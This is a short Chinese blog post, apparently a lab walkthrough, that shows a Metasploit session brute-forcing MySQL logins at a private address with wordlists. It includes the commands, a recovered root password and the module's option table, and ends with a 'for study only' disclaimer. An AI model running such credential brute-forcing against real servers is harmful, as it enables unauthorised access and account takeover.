kail-linux 爆破mysql数据库
爆破mysql数据库信息
·
开启kail-linux
msf > use auxiliary/scanner/mysql/mysql_login msf auxiliary(mysql_login) > set RHOST 192.168.3.179 RHOST => 192.168.3.179 msf auxiliary(mysql_login) > set user_file username.txt user_file => username.txt msf auxiliary(mysql_login) > set pass_file passwd.txt pass_file => passwd.txt msf auxiliary(mysql_login) > run [-] Auxiliary failed: Msf::OptionValidateError The following options failed to validate: RHOSTS. msf auxiliary(mysql_login) > set RHOSTS 192.168.3.179 RHOSTS => 192.168.3.179 msf auxiliary(mysql_login) > set user_file username.txt user_file => username.txt msf auxiliary(mysql_login) > set pass_file passwd.txt pass_file => passwd.txt msf auxiliary(mysql_login) > run [*] 192.168.3.179:3306 MYSQL - Found remote MySQL version 5.6.47 [!] No active DB -- Credential data will not be saved! [-] 192.168.3.179:3306 MYSQL - LOGIN FAILED: root:123456 (Incorrect: Access denied for user 'root'@'192.168.3.56' (using password: YES)) [+] 192.168.3.179:3306 MYSQL - Success: 'root:password' [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed msf auxiliary(mysql_login) >
Module options (auxiliary/scanner/mysql/mysql_login):
Name Current Setting Required Description
---- --------------- -------- -----------
BLANK_PASSWORDS false no Try blank passwords for all users
BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from 0 to 5
DB_ALL_CREDS false no Try each user/password couple stored in the current database
DB_ALL_PASS false no Add all passwords in the current database to the list
DB_ALL_USERS false no Add all users in the current database to the list
PASSWORD no A specific password to authenticate with
PASS_FILE passwd.txt no File containing passwords, one per line
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 192.168.3.179 yes The target address range or CIDR identifier
RPORT 3306 yes The target port
STOP_ON_SUCCESS false yes Stop guessing when a credential works for a host
THREADS 1 yes The number of concurrent threads
USERNAME no A specific username to authenticate as
USERPASS_FILE no File containing users and passwords separated by space, one pair per line
USER_AS_PASS false no Try the username as the password for all users
USER_FILE username.txt no File containing usernames, one per line
VERBOSE true yes Whether to print output for all attempts
说明:仅供研究学习,勿用于非法用途!
更多推荐
已为社区贡献1条内容
所有评论(0)